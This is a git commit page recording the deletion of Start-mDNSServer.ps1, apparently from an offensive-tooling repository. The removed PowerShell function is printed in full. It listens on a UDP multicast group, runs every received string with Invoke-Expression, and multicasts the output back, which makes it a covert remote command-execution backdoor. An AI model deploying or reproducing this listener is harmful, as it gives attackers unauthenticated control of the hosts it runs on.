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Delete Start-mDNSServer.ps1

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Steve Borosh
2018-09-13 00:17:49 -04:00
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parent c453e2cf54
commit c641c002cc
1 changed files with 0 additions and 68 deletions
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Start-mDNSServer.ps1
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function Start-mDNSServer {
<#
.SYNOPSIS
Start the server
.DESCRIPTION
Listen for mDNS Commands
.EXAMPLE
Start-mDNSServer
.PARAMETER MultiCastGroup
The Multicast Group to listen on
.PARAMETER MultiCastPort
The port to listen for UDP packets
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false, Position = 0)]
[String]
$MultiCastGroup = "224.1.1.1",
[Parameter(Mandatory = $false, Position = 1)]
[String]
$MultiCastPort = 51111,
[Parameter(Mandatory = $false, Position = 1)]
[String]
$BindPort = 51112
)
Begin {
}
Process {
While($True) {
Try {
$udp_client = New-Object System.Net.Sockets.UdpClient
$udp_client.ExclusiveAddressUse = $False
$LocalEndPoint = New-Object System.Net.IPEndPoint([ipaddress]::Any,$MultiCastPort)
$udp_client.Client.SetSocketOption([System.Net.Sockets.SocketOptionLevel]::Socket, [System.Net.Sockets.SocketOptionName]::ReuseAddress,$true)
$udp_client.ExclusiveAddressUse = $False
$udp_client.Client.Bind($LocalEndPoint)
$multicast_group = [IPAddress]::Parse($MultiCastGroup)
$udp_client.JoinMulticastGroup($multicast_group)
$receivebytes = $udp_client.Receive([ref]$LocalEndPoint)
If ($receivebytes) {
$receive_data = ([text.encoding]::ASCII).GetString($receivebytes)
$command_results = (Invoke-Expression -Command $receive_data 2>&1 | Out-String )
$udp_client.Close()
$udp_client = new-Object System.Net.Sockets.UdpClient $BindPort
$multicast_group = [IPAddress]$MultiCastGroup
$udp_client.JoinMulticastGroup($multicast_group)
$enc = [system.Text.Encoding]::UTF8
$response_packet = $enc.GetBytes($command_results)
$endpoint = New-Object Net.IPEndpoint([IPAddress]$MultiCastGroup,$MultiCastPort)
$udp_client.Connect($endpoint)
$udp_client.Send($response_packet,$response_packet.Length) |Out-Null
$udp_client.Close()
continue
}
}
Catch {
$ErrorMessage = $_.Exception.Message
$FailedItem = $_.Exception.ItemName
}
}
}
End {
$udp_client.Close()
}
}